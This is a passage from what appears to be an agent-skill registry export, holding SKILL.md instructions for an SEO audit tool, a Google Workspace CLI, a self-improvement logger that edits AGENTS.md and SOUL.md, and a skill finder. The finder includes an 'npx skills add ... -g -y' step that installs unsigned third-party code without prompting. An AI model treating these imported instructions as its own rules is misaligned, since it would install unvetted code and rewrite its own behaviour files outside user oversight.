**Primary Keyword**: \"[keyword]\"\n **Keyword Density**: [X]%\n \n ### Keyword Placement\n \n | Location | Present | Notes |\n |----------|---------|-------|\n | Title tag | \u2705/\u274c | Position: [X] |\n | Meta description | \u2705/\u274c | [notes] |\n | H1 | \u2705/\u274c | [notes] |\n | First 100 words | \u2705/\u274c | Word position: [X] |\n | H2 headings | \u2705/\u274c | In [X]/[Y] H2s |\n | Body content | \u2705/\u274c | [X] occurrences |\n | URL slug | \u2705/\u274c | [notes] |\n | Image alt text | \u2705/\u274c | In [X]/[Y] images |\n | Conclusion | \u2705/\u274c | [notes] |\n \n ### Secondary Keywords\n \n | Keyword | Occurrences | Status |\n |---------|-------------|--------|\n | [keyword 1] | [X] | \u2705/\u26a0\ufe0f/\u274c |\n | [keyword 2] | [X] | \u2705/\u26a0\ufe0f/\u274c |\n \n ### LSI/Related Terms\n \n **Present**: [list of related terms found]\n **Missing**: [important related terms not found]\n \n **Keyword Score**: [X]/10\n \n **Issues**:\n - [Issue 1]\n \n **Recommendations**:\n - [Suggestion 1]\n ```\n\n7. **Audit Internal Links**\n\n ```markdown\n ## Internal Linking Analysis\n \n **Total Internal Links**: [X]\n **Unique Internal Links**: [X]\n \n | Criterion | Status | Notes |\n |-----------|--------|-------|\n | Number of internal links | \u2705/\u26a0\ufe0f/\u274c | [X] (recommend 3-5+) |\n | Relevant anchor text | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Links to related content | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Links to important pages | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | No broken links | \u2705/\u26a0\ufe0f/\u274c | [X] broken found |\n | Natural placement | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Current Internal Links**:\n 1. \"[Anchor text]\" \u2192 [URL]\n 2. \"[Anchor text]\" \u2192 [URL]\n 3. \"[Anchor text]\" \u2192 [URL]\n \n **Internal Linking Score**: [X]/10\n \n **Recommended Additional Links**:\n 1. Add link to \"[Related page]\" with anchor \"[suggested anchor]\"\n 2. Add link to \"[Related page]\" with anchor \"[suggested anchor]\"\n \n **Anchor Text Improvements**:\n - Change \"[current anchor]\" to \"[improved anchor]\"\n ```\n\n8. **Audit Images**\n\n ```markdown\n ## Image Optimization Analysis\n \n **Total Images**: [X]\n \n ### Image Audit Table\n \n | Image | Alt Text | File Name | Size | Status |\n |-------|----------|-----------|------|--------|\n | [img1] | [alt or \"missing\"] | [filename] | [KB] | \u2705/\u26a0\ufe0f/\u274c |\n | [img2] | [alt or \"missing\"] | [filename] | [KB] | \u2705/\u26a0\ufe0f/\u274c |\n \n | Criterion | Status | Notes |\n |-----------|--------|-------|\n | All images have alt text | \u2705/\u26a0\ufe0f/\u274c | [X]/[Y] have alt |\n | Alt text includes keywords | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Descriptive file names | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Appropriate file sizes | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Modern formats (WebP) | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Lazy loading enabled | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Image Score**: [X]/10\n \n **Recommendations**:\n 1. Add alt text to image [X]: \"[suggested alt text]\"\n 2. Compress image [Y]: Currently [X]KB, should be under [Y]KB\n 3. Rename [filename] to [better-filename]\n ```\n\n9. **Audit Technical On-Page Elements**\n\n ```markdown\n ## Technical On-Page Analysis\n \n | Element | Current Value | Status | Recommendation |\n |---------|---------------|--------|----------------|\n | URL | [URL] | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | URL length | [X] chars | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | URL keywords | [present/absent] | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Canonical tag | [URL or \"missing\"] | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Mobile-friendly | [yes/no] | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Page speed | [X]s | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | HTTPS | [yes/no] | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Schema markup | [types or \"none\"] | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Technical Score**: [X]/10\n ```\n\n10. **CORE-EEAT Content Quality Quick Scan**\n\n Run a quick scan of on-page-relevant CORE-EEAT items. Reference: [CORE-EEAT Benchmark](../../references/core-eeat-benchmark.md)\n\n ```markdown\n ## CORE-EEAT Quick Scan\n\n Content-relevant items from the 80-item benchmark:\n\n | ID | Check Item | Status | Notes |\n |----|-----------|--------|-------|\n | C01 | Intent Alignment | \u2705/\u26a0\ufe0f/\u274c | Title promise = content delivery |\n | C02 | Direct Answer | \u2705/\u26a0\ufe0f/\u274c | Core answer in first 150 words |\n | C09 | FAQ Coverage | \u2705/\u26a0\ufe0f/\u274c | Structured FAQ present |\n | C10 | Semantic Closure | \u2705/\u26a0\ufe0f/\u274c | Conclusion answers opening |\n | O01 | Heading Hierarchy | \u2705/\u26a0\ufe0f/\u274c | H1\u2192H2\u2192H3, no skipping |\n | O02 | Summary Box | \u2705/\u26a0\ufe0f/\u274c | TL;DR or Key Takeaways |\n | O03 | Data Tables | \u2705/\u26a0\ufe0f/\u274c | Comparisons in tables |\n | O05 | Schema Markup | \u2705/\u26a0\ufe0f/\u274c | Appropriate JSON-LD |\n | O06 | Section Chunking | \u2705/\u26a0\ufe0f/\u274c | Single topic per section |\n | R01 | Data Precision | \u2705/\u26a0\ufe0f/\u274c | \u22655 precise numbers |\n | R02 | Citation Density | \u2705/\u26a0\ufe0f/\u274c | \u22651 per 500 words |\n | R06 | Timestamp | \u2705/\u26a0\ufe0f/\u274c | Updated <1 year |\n | R08 | Internal Link Graph | \u2705/\u26a0\ufe0f/\u274c | Descriptive anchors |\n | R10 | Content Consistency | \u2705/\u26a0\ufe0f/\u274c | No contradictions |\n | Exp01 | First-Person Narrative | \u2705/\u26a0\ufe0f/\u274c | \"I tested\" or \"We found\" |\n | Ept01 | Author Identity | \u2705/\u26a0\ufe0f/\u274c | Byline + bio present |\n | T04 | Disclosure Statements | \u2705/\u26a0\ufe0f/\u274c | Affiliate links disclosed |\n\n **CORE-EEAT Quick Score**: [X]/17 items passing\n\n > For a complete 80-item audit with weighted scoring, use [content-quality-auditor](../../cross-cutting/content-quality-auditor/).\n ```\n\n11. **Generate Audit Summary**\n\n ```markdown\n # On-Page SEO Audit Report\n \n **Page**: [URL]\n **Target Keyword**: [keyword]\n **Audit Date**: [date]\n \n ## Overall Score: [X]/100\n \n ```\n Score Breakdown:\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591 Title Tag: 8/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 Meta Description: 6/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591 Headers: 9/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591 Content: 7/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 Keywords: 6/10\n \u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591 Internal Links: 5/10\n \u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591 Images: 4/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591 Technical: 8/10\n ```\n \n ## Priority Issues\n \n ### \ud83d\udd34 Critical (Fix Immediately)\n 1. [Critical issue 1]\n 2. [Critical issue 2]\n \n ### \ud83d\udfe1 Important (Fix Soon)\n 1. [Important issue 1]\n 2. [Important issue 2]\n \n ### \ud83d\udfe2 Minor (Nice to Have)\n 1. [Minor issue 1]\n 2. [Minor issue 2]\n \n ## Quick Wins\n \n These changes will have immediate impact:\n \n 1. **[Change 1]**: [Why and how]\n 2. **[Change 2]**: [Why and how]\n 3. **[Change 3]**: [Why and how]\n \n ## Detailed Recommendations\n \n ### Title Tag\n - **Current**: [current title]\n - **Recommended**: [new title]\n - **Impact**: [expected improvement]\n \n ### Meta Description\n - **Current**: [current description]\n - **Recommended**: [new description]\n - **Impact**: [expected improvement]\n \n ### Content Improvements\n 1. [Specific content change with location]\n 2. [Specific content change with location]\n \n ### Internal Linking\n 1. Add link: \"[anchor]\" \u2192 [destination]\n 2. Add link: \"[anchor]\" \u2192 [destination]\n \n ### Image Optimization\n 1. [Image 1]: [change needed]\n 2. [Image 2]: [change needed]\n \n ## Competitor Comparison\n \n | Element | Your Page | Top Competitor | Gap |\n |---------|-----------|----------------|-----|\n | Word count | [X] | [Y] | [+/-Z] |\n | Internal links | [X] | [Y] | [+/-Z] |\n | Images | [X] | [Y] | [+/-Z] |\n | H2 headings | [X] | [Y] | [+/-Z] |\n \n ## Action Checklist\n \n - [ ] Update title tag\n - [ ] Rewrite meta description\n - [ ] Add keyword to H1\n - [ ] Add [X] more internal links\n - [ ] Add alt text to [X] images\n - [ ] Add [X] more content sections\n - [ ] Implement FAQ schema\n - [ ] [Additional action items]\n \n ## Expected Results\n\n After implementing these changes:\n - Estimated ranking improvement: [X] positions\n - Estimated CTR improvement: [X]%\n - Estimated traffic increase: [X]%\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Target keyword(s) clearly specified by user\n- [ ] Page content accessible (either via URL or provided HTML)\n- [ ] If competitor comparison requested, competitor URL provided\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] Scores based on measurable criteria, not subjective opinion\n- [ ] All suggested changes include specific locations (title tag, H2 #3, paragraph 5, etc.)\n- [ ] Source of each data point clearly stated (~~SEO tool data, user-provided, ~~web crawler, or manual review)\n\n## Example\n\n**User**: \"Audit the on-page SEO of https://example.com/best-noise-cancelling-headphones targeting 'best noise cancelling headphones'\"\n\n**Output**:\n\n```markdown\n# On-Page SEO Audit Report\n\n**Page**: https://example.com/best-noise-cancelling-headphones\n**Target Keyword**: best noise cancelling headphones\n**Secondary Keywords**: wireless noise cancelling headphones, ANC headphones, noise cancelling headphones review\n**Page Type**: commercial (reviews/roundup)\n**Audit Date**: 2025-01-15\n\n## Summary\n\n| Audit Area | Score | Key Finding |\n|------------|-------|-------------|\n| Title Tag | 8/10 | Good keyword placement; slightly long at 63 chars |\n| Meta Description | 6/10 | Missing CTA; keyword present but generic copy |\n| Header Structure | 9/10 | Clean hierarchy; H2s cover all major products |\n| Content Quality | 7/10 | 2,400 words is solid; lacks original test data |\n| Keyword Optimization | 8/10 | Strong placement; density at 1.2% is healthy |\n| Internal Links | 5/10 | Only 2 internal links; missing links to brand pages |\n| Images | 6/10 | 3/8 images missing alt text; no WebP format |\n| Technical Elements | 7/10 | Missing Product schema; good URL and mobile |\n\n## Overall Score: 71/100\n\nCalculation: (8x0.15 + 6x0.05 + 9x0.10 + 7x0.25 + 8x0.15 + 5x0.10 + 6x0.10 + 7x0.10) x 10 = 71\n\nScore Breakdown:\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591 Title Tag: 8/10 (15%)\n\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 Meta Description: 6/10 ( 5%)\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591 Headers: 9/10 (10%)\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591 Content: 7/10 (25%)\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591 Keywords: 8/10 (15%)\n\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591 Internal Links: 5/10 (10%)\n\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 Images: 6/10 (10%)\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591 Technical: 7/10 (10%)\n\n## Priority Issues\n\n### Critical\n1. **Internal linking severely underdeveloped** \u2014 Only 2 internal links found. Add links to individual headphone review pages (/sony-wh1000xm5-review, /bose-qc-ultra-review) and the headphones category page. Target 5-8 contextual internal links.\n2. **3 product images missing alt text** \u2014 Images for Sony WH-1000XM5, Bose QC Ultra, and Apple AirPods Max have empty alt attributes. Each missing alt tag is a lost ranking signal in Google Images.\n\n### Important\n1. **Meta description lacks call-to-action** \u2014 Current description states facts but does not compel clicks. Add \"Compare prices and features\" or \"See our top picks\" to drive CTR.\n\n## Quick Wins\n\n1. **Add alt text to 3 images** (5 min) \u2014 Use descriptive text like \"Sony WH-1000XM5 noise cancelling headphones on desk\" instead of empty attributes.\n2. **Rewrite meta description with CTA** (5 min) \u2014 Change to: \"Compare the 10 best noise cancelling headphones for 2025. Expert-tested picks from Sony, Bose, and Apple with pros, cons, and pricing. See our top picks.\"\n3. **Add 4+ internal links** (10 min) \u2014 Link product names to their individual review pages and add a \"See all headphones\" link to the category hub.\n```\n\n## Audit Checklists by Page Type\n\n### Blog Post Checklist\n\n```markdown\n- [ ] Title includes keyword and is compelling\n- [ ] Meta description has keyword and CTA\n- [ ] Single H1 with keyword\n- [ ] H2s cover main topics\n- [ ] Keyword in first 100 words\n- [ ] 1,500+ words for competitive topics\n- [ ] 3+ internal links with varied anchors\n- [ ] Images with descriptive alt text\n- [ ] FAQ section with schema\n- [ ] Author bio with credentials\n```\n\n### Product Page Checklist\n\n```markdown\n- [ ] Product name in title\n- [ ] Price and availability in description\n- [ ] H1 is product name\n- [ ] Product features in H2s\n- [ ] Multiple product images with alt text\n- [ ] Customer reviews visible\n- [ ] Product schema implemented\n- [ ] Related products linked\n- [ ] Clear CTA button\n```\n\n### Landing Page Checklist\n\n```markdown\n- [ ] Keyword-optimized title\n- [ ] Benefit-focused meta description\n- [ ] Clear H1 value proposition\n- [ ] Supporting H2 sections\n- [ ] Trust signals (testimonials, logos)\n- [ ] Single clear CTA\n- [ ] Fast page load speed\n- [ ] Mobile-optimized layout\n```\n\n## Tips for Success\n\n1. **Prioritize issues by impact** - Fix critical issues first\n2. **Compare to competitors** - See what's working for top rankings\n3. **Balance optimization and readability** - Don't over-optimize\n4. **Audit regularly** - Content degrades over time\n5. **Test changes** - Track ranking changes after updates\n\n## Scoring Rubric\n\n### Section Weight Distribution\n\n| Audit Section | Weight | Max Score | Rationale |\n|--------------|--------|-----------|-----------|\n| Title Tag | 15% | 15 | Strongest single ranking signal |\n| Meta Description | 5% | 5 | CTR impact, not direct ranking factor |\n| Header Structure | 10% | 10 | Content organization, semantic signals |\n| Content Quality | 25% | 25 | Strongest holistic ranking factor |\n| Keyword Optimization | 15% | 15 | Relevance signals |\n| Internal/External Links | 10% | 10 | Authority flow, context signals |\n| Image Optimization | 10% | 10 | Accessibility + image search opportunity |\n| Page-Level Technical | 10% | 10 | Core Web Vitals, mobile, security |\n\n### Scoring Scale per Factor\n\n| Score | Meaning | Action Required |\n|-------|---------|-----------------|\n| 10/10 | Excellent \u2014 follows all best practices | None |\n| 7-9/10 | Good \u2014 minor improvements possible | Optional optimization |\n| 4-6/10 | Needs work \u2014 notable issues | Fix within this week |\n| 1-3/10 | Poor \u2014 significant problems | Fix immediately (Critical) |\n| 0/10 | Missing or broken | Fix immediately (Blocking) |\n\n### Scoring Conversion Formula\n\nEach section is scored out of 10, then converted to the 100-point overall score using section weights:\n\n```\nOverall Score = Sum of (section_score x section_weight) x 10\n```\n\nWhere section weights are: Title 0.15, Meta 0.05, Headers 0.10, Content 0.25, Keywords 0.15, Links 0.10, Images 0.10, Technical 0.10.\n\n**Worked example:**\n\n| Section | Score /10 | Weight | Weighted |\n|---------|-----------|--------|----------|\n| Title Tag | 8 | 0.15 | 1.20 |\n| Meta Description | 6 | 0.05 | 0.30 |\n| Header Structure | 9 | 0.10 | 0.90 |\n| Content Quality | 7 | 0.25 | 1.75 |\n| Keyword Optimization | 8 | 0.15 | 1.20 |\n| Internal/External Links | 5 | 0.10 | 0.50 |\n| Image Optimization | 6 | 0.10 | 0.60 |\n| Page-Level Technical | 7 | 0.10 | 0.70 |\n| **Total** | | **1.00** | **7.15** |\n\n**Overall Score** = 7.15 x 10 = **71 / 100**\n\n## Common Issue Resolution Playbook\n\n### Title Tag Issues\n\n| Issue | Impact | Quick Fix Template |\n|-------|--------|-------------------|\n| Missing title | Critical | Add: \"[Primary Keyword]: [Benefit] | [Brand]\" |\n| Too long (>60 chars) | Medium | Shorten: move brand to end, remove filler words |\n| Too short (<30 chars) | Medium | Expand: add modifier, benefit, or year |\n| Missing keyword | High | Rewrite to include primary keyword in first half |\n| Duplicate title | High | Make each page title unique; add page-specific modifier |\n\n### Meta Description Issues\n\n| Issue | Impact | Quick Fix Template |\n|-------|--------|-------------------|\n| Missing description | Medium | Write: \"[What this page covers]. [Key benefit]. [CTA].\" (150-160 chars) |\n| Too long (>160 chars) | Low | Trim from end; ensure core message fits in 150 chars |\n| Missing keyword | Low | Naturally incorporate primary keyword |\n| No CTA | Low | Add: \"Learn more\", \"Discover\", \"Find out\", \"Get started\" |\n| Duplicated across pages | Medium | Write unique description for each page |\n\n### Header Issues\n\n| Issue | Impact | Quick Fix |\n|-------|--------|-----------|\n| Missing H1 | Critical | Add one H1 per page containing primary keyword |\n| Multiple H1s | High | Keep one H1, convert others to H2 |\n| Skipped heading levels | Medium | Use sequential hierarchy: H1\u2192H2\u2192H3 |\n| Headers not descriptive | Medium | Rewrite to include keyword variations |\n| No H2s (single long block) | Medium | Break content into sections with descriptive H2s every 200-300 words |\n\n### Content Issues\n\n| Issue | Impact | Quick Fix |\n|-------|--------|-----------|\n| Thin content (<300 words) | Critical | Expand with subtopics, FAQ, examples |\n| Keyword stuffing (>3%) | High | Reduce usage, use synonyms and related terms |\n| No structured data | Medium | Add relevant schema (FAQ, HowTo, Article) |\n| Missing internal links | Medium | Add 3-5 contextual internal links |\n| No images | Low | Add 2-3 relevant images with alt text |\n\n## Industry Benchmark Data\n\n### Content Length Benchmarks by Query Type\n\n| Query Type | Top 10 Average Word Count | Recommended Minimum |\n|-----------|--------------------------|-------------------|\n| Informational (guides) | 2,200 words | 1,500 words |\n| Commercial (reviews) | 1,800 words | 1,200 words |\n| Transactional (product) | 800 words | 500 words |\n| Local (service pages) | 600 words | 400 words |\n| Definition queries | 1,200 words | 800 words |\n\n### Page Speed Benchmarks\n\n| Metric | Good | Needs Improvement | Poor |\n|--------|------|-------------------|------|\n| LCP | \u22642.5s | 2.5-4.0s | >4.0s |\n| FID/INP | \u2264100ms/200ms | 100-300ms | >300ms |\n| CLS | \u22640.1 | 0.1-0.25 | >0.25 |\n| TTFB | \u2264800ms | 800-1800ms | >1800ms |\n\n## Reference Materials\n\n- [Scoring Rubric](./references/scoring-rubric.md) \u2014 Detailed scoring criteria, weight distribution, and grade boundaries for on-page audits\n\n## Related Skills\n\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Create optimized content\n- [technical-seo-checker](../technical-seo-checker/) \u2014 Technical SEO audit\n- [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u2014 Optimize meta tags\n- [serp-analysis](../../research/serp-analysis/) \u2014 SERP context for audit findings\n- [content-refresher](../content-refresher/) \u2014 Update existing content\n- [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u2014 Full 80-item CORE-EEAT audit\n- [internal-linking-optimizer](../internal-linking-optimizer/) \u2014 Optimize internal link structure\n- [schema-markup-generator](../../build/schema-markup-generator/) \u2014 Validate and generate schema markup\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/on-page-seo-auditor/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/on-page-seo-auditor/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/on-page-seo-auditor/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/on-page-seo-auditor/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/on-page-seo-auditor/SKILL.md", "importedAt": "2026-02-18T19:24:21.011Z"}}}}, {"slug": "clawhub-gog", "name": "Gog \u2014 Google Workspace CLI", "category": "Productivity", "description": "Google Workspace CLI for Gmail, Calendar, Drive, Contacts, Sheets, and Docs. Fast, script-friendly access with JSON-first output, multiple accounts, and least-privilege OAuth auth.", "vettedOk": true, "onchain": false, "fullJson": {"ok": true, "card": {"name": "Gog \u2014 Google Workspace CLI", "slug": "clawhub-gog", "version": "1.0.0", "description": "Google Workspace CLI for Gmail, Calendar, Drive, Contacts, Sheets, and Docs. Fast, script-friendly access with JSON-first output, multiple accounts, and least-privilege OAuth auth.", "documentation_md": "---\nname: gog\ndescription: Google Workspace CLI for Gmail, Calendar, Drive, Contacts, Sheets, and Docs.\nhomepage: https://gogcli.sh\nmetadata: {\"openclaw\":{\"emoji\":\"\ud83c\udfae\",\"requires\":{\"bins\":[\"gog\"]},\"install\":[{\"id\":\"brew\",\"kind\":\"brew\",\"formula\":\"steipete/tap/gogcli\",\"bins\":[\"gog\"],\"label\":\"Install gog (brew)\"}]}}\n---\n\n# gog\n\nUse `gog` for Gmail/Calendar/Drive/Contacts/Sheets/Docs. Requires OAuth setup.\n\nSetup (once)\n- `gog auth credentials /path/to/client_secret.json`\n- `gog auth add user@gmail.com --services gmail,calendar,drive,contacts,sheets,docs`\n- `gog auth list`\n\nCommon commands\n- Gmail search: `gog gmail search 'newer_than:7d' --max 10`\n- Gmail send: `gog gmail send --to user@example.com --subject \"Hi\" --body \"Hello\"`\n- Calendar: `gog calendar events <calendarId> --from <iso> --to <iso>`\n- Drive search: `gog drive search \"query\" --max 10`\n- Contacts: `gog contacts list --max 20`\n- Sheets get: `gog sheets get <sheetId> \"Tab!A1:D10\" --json`\n- Sheets update: `gog sheets update <sheetId> \"Tab!A1:B2\" --values-json '[[\"A\",\"B\"],[\"1\",\"2\"]]' --input USER_ENTERED`\n- Sheets append: `gog sheets append <sheetId> \"Tab!A:C\" --values-json '[[\"x\",\"y\",\"z\"]]' --insert INSERT_ROWS`\n- Sheets clear: `gog sheets clear <sheetId> \"Tab!A2:Z\"`\n- Sheets metadata: `gog sheets metadata <sheetId> --json`\n- Docs export: `gog docs export <docId> --format txt --out /tmp/doc.txt`\n- Docs cat: `gog docs cat <docId>`\n\nNotes\n- Set `GOG_ACCOUNT=user@gmail.com` to avoid repeating `--account`.\n- For scripting, prefer `--json` plus `--no-input`.\n- Sheets values can be passed via `--values-json` (recommended) or as inline rows.\n- Docs supports export/cat/copy. In-place edits require a Docs API client (not in gog).\n- Confirm before sending mail or creating events.\n", "inputs_schema": {"type": "object", "properties": {"command": {"type": "string", "description": "The gog CLI command to execute"}, "service": {"type": "string", "enum": ["gmail", "calendar", "drive", "contacts", "sheets", "docs"], "description": "Google Workspace service to interact with"}}}, "outputs_schema": {"type": "object", "properties": {"result": {"type": "object", "description": "JSON output from gog command"}}}, "bindings": [{"type": "community", "source": "clawhub-steipete", "category": "productivity"}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": ["network", "process_spawn"], "examples": [{"input": "Search recent emails", "output": "gog gmail search 'newer_than:7d' --max 10 --json"}, {"input": "Create a calendar event", "output": "gog calendar create --summary \"Meeting\" --from 2026-02-20T10:00:00Z --to 2026-02-20T11:00:00Z"}, {"input": "Read a spreadsheet range", "output": "gog sheets get <sheetId> \"Sheet1!A1:D10\" --json"}], "eval_packs": [], "provenance": {"publisher": "steipete", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/steipete/gogcli", "homepage": "https://gogcli.sh", "license": "MIT", "importedAt": "2026-02-20T12:00:00.000Z"}, "vettedOk": true, "onchainTokenId": null, "onchainMintTx": null, "onchainPublishTx": null}}}, {"slug": "clawhub-self-improving-agent", "name": "Self-Improving Agent", "category": "Productivity", "description": "Captures learnings, errors, and corrections to enable continuous improvement. Logs to .learnings/ directory with LEARNINGS.md, ERRORS.md, and FEATURE_REQUESTS.md. Promotes important findings to AGENTS.md, SOUL.md, and TOOLS.md.", "vettedOk": true, "onchain": false, "fullJson": {"ok": true, "card": {"name": "Self-Improving Agent", "slug": "clawhub-self-improving-agent", "version": "1.0.0", "description": "Captures learnings, errors, and corrections to enable continuous improvement. Logs to .learnings/ directory with LEARNINGS.md, ERRORS.md, and FEATURE_REQUESTS.md. Promotes important findings to AGENTS.md, SOUL.md, and TOOLS.md.", "documentation_md": "---\nname: self-improvement\ndescription: \"Captures learnings, errors, and corrections to enable continuous improvement. Use when: (1) A command or operation fails unexpectedly, (2) User corrects Claude ('No, that's wrong...', 'Actually...'), (3) User requests a capability that doesn't exist, (4) An external API or tool fails, (5) Claude realizes its knowledge is outdated or incorrect, (6) A better approach is discovered for a recurring task. Also review learnings before major tasks.\"\n---\n\n# Self-Improvement Skill\n\nLog learnings and errors to markdown files for continuous improvement. Coding agents can later process these into fixes, and important learnings get promoted to project memory.\n\n## Quick Reference\n\n| Situation | Action |\n|-----------|--------|\n| Command/operation fails | Log to `.learnings/ERRORS.md` |\n| User corrects you | Log to `.learnings/LEARNINGS.md` with category `correction` |\n| User wants missing feature | Log to `.learnings/FEATURE_REQUESTS.md` |\n| API/external tool fails | Log to `.learnings/ERRORS.md` with integration details |\n| Knowledge was outdated | Log to `.learnings/LEARNINGS.md` with category `knowledge_gap` |\n| Found better approach | Log to `.learnings/LEARNINGS.md` with category `best_practice` |\n| Broadly applicable learning | Promote to `AGENTS.md` and/or project memory |\n\n## Setup\n\n```bash\nmkdir -p .learnings\n```\n\n## Log Format\n\nEach entry follows this structure:\n\n```markdown\n## [YYYY-MM-DD HH:MM] Category: Title\n\n**Context:** What was happening\n**Issue:** What went wrong or what was learned\n**Resolution:** How it was fixed or the correct approach\n**Prevention:** How to avoid this in the future\n```\n\n## Promotion Rules\n\n- If a learning applies broadly across the project, promote it to `AGENTS.md`\n- Tool-specific gotchas go to `TOOLS.md`\n- Behavioral patterns go to `SOUL.md`\n- Review `.learnings/` before major refactors or new features\n", "inputs_schema": {"type": "object", "properties": {"event_type": {"type": "string", "enum": ["error", "correction", "feature_request", "knowledge_gap", "best_practice"], "description": "Type of learning event"}, "context": {"type": "string", "description": "What was happening when the event occurred"}, "details": {"type": "string", "description": "The specific learning, error, or correction"}}}, "outputs_schema": {"type": "object", "properties": {"logged": {"type": "boolean", "description": "Whether the entry was successfully logged"}, "file": {"type": "string", "description": "Which file the entry was logged to"}}}, "bindings": [{"type": "community", "source": "clawhub-pskoett", "category": "productivity"}], "constraints": {"riskTier": 1, "importedStub": false}, "required_permissions": ["file_read", "file_write"], "examples": [{"input": "A command failed unexpectedly", "output": "Log error to .learnings/ERRORS.md with context, resolution, and prevention"}, {"input": "User corrects the agent", "output": "Log correction to .learnings/LEARNINGS.md with category correction"}, {"input": "Better approach discovered", "output": "Log to .learnings/LEARNINGS.md with category best_practice"}], "eval_packs": [], "provenance": {"publisher": "pskoett", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/peterskoett/self-improving-agent", "homepage": "https://clawhub.ai/pskoett/self-improving-agent", "license": "MIT", "importedAt": "2026-02-20T12:00:00.000Z"}, "vettedOk": true, "onchainTokenId": null, "onchainMintTx": null, "onchainPublishTx": null}}}, {"slug": "clawhub-find-skills", "name": "Find Skills \u2014 Skill Discovery", "category": "Productivity", "description": "Helps users discover and install agent skills when they ask questions like \"how do I do X\", \"find a skill for X\", or express interest in extending capabilities. Searches the open agent skills ecosystem.", "vettedOk": true, "onchain": false, "fullJson": {"ok": true, "card": {"name": "Find Skills \u2014 Skill Discovery", "slug": "clawhub-find-skills", "version": "1.0.0", "description": "Helps users discover and install agent skills when they ask questions like \"how do I do X\", \"find a skill for X\", or express interest in extending capabilities. Searches the open agent skills ecosystem.", "documentation_md": "---\nname: find-skills\ndescription: Helps users discover and install agent skills when they ask questions like \"how do I do X\", \"find a skill for X\", \"is there a skill that can...\", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.\n---\n\n# Find Skills\n\nThis skill helps you discover and install skills from the open agent skills ecosystem.\n\n## When to Use This Skill\n\nUse this skill when the user:\n\n- Asks \"how do I do X\" where X might be a common task with an existing skill\n- Says \"find a skill for X\" or \"is there a skill for X\"\n- Asks \"can you do X\" where X is a specialized capability\n- Expresses interest in extending agent capabilities\n- Wants to search for tools, templates, or workflows\n- Mentions they wish they had help with a specific domain\n\n## How to Help Users Find Skills\n\n### Step 1: Understand What They Need\n\nIdentify:\n1. The domain (e.g., React, testing, design, deployment)\n2. The specific task (e.g., writing tests, creating animations, reviewing PRs)\n3. Whether this is a common enough task that a skill likely exists\n\n### Step 2: Search for Skills\n\n```bash\nnpx skills find [query]\n```\n\nExamples:\n- \"how do I make my app faster?\" \u2192 `npx skills find performance`\n- \"can you help with PR reviews?\" \u2192 `npx skills find pr review`\n- \"I need to create a changelog\" \u2192 `npx skills find changelog`\n\n### Step 3: Present Options\n\nWhen you find relevant skills, present:\n1. The skill name and what it does\n2. The install command\n3. A link to learn more\n\n### Step 4: Offer to Install\n\n```bash\nnpx skills add <owner/repo@skill> -g -y\n```\n\n## Common Skill Categories\n\n| Category | Example Queries |\n|----------|----------------|\n| Web Development | react, nextjs, typescript, css, tailwind |\n| Testing | testing, jest, playwright, e2e |\n| DevOps | deploy, docker, kubernetes, ci-cd |\n| Documentation | docs, readme, changelog, api-docs |\n| Code 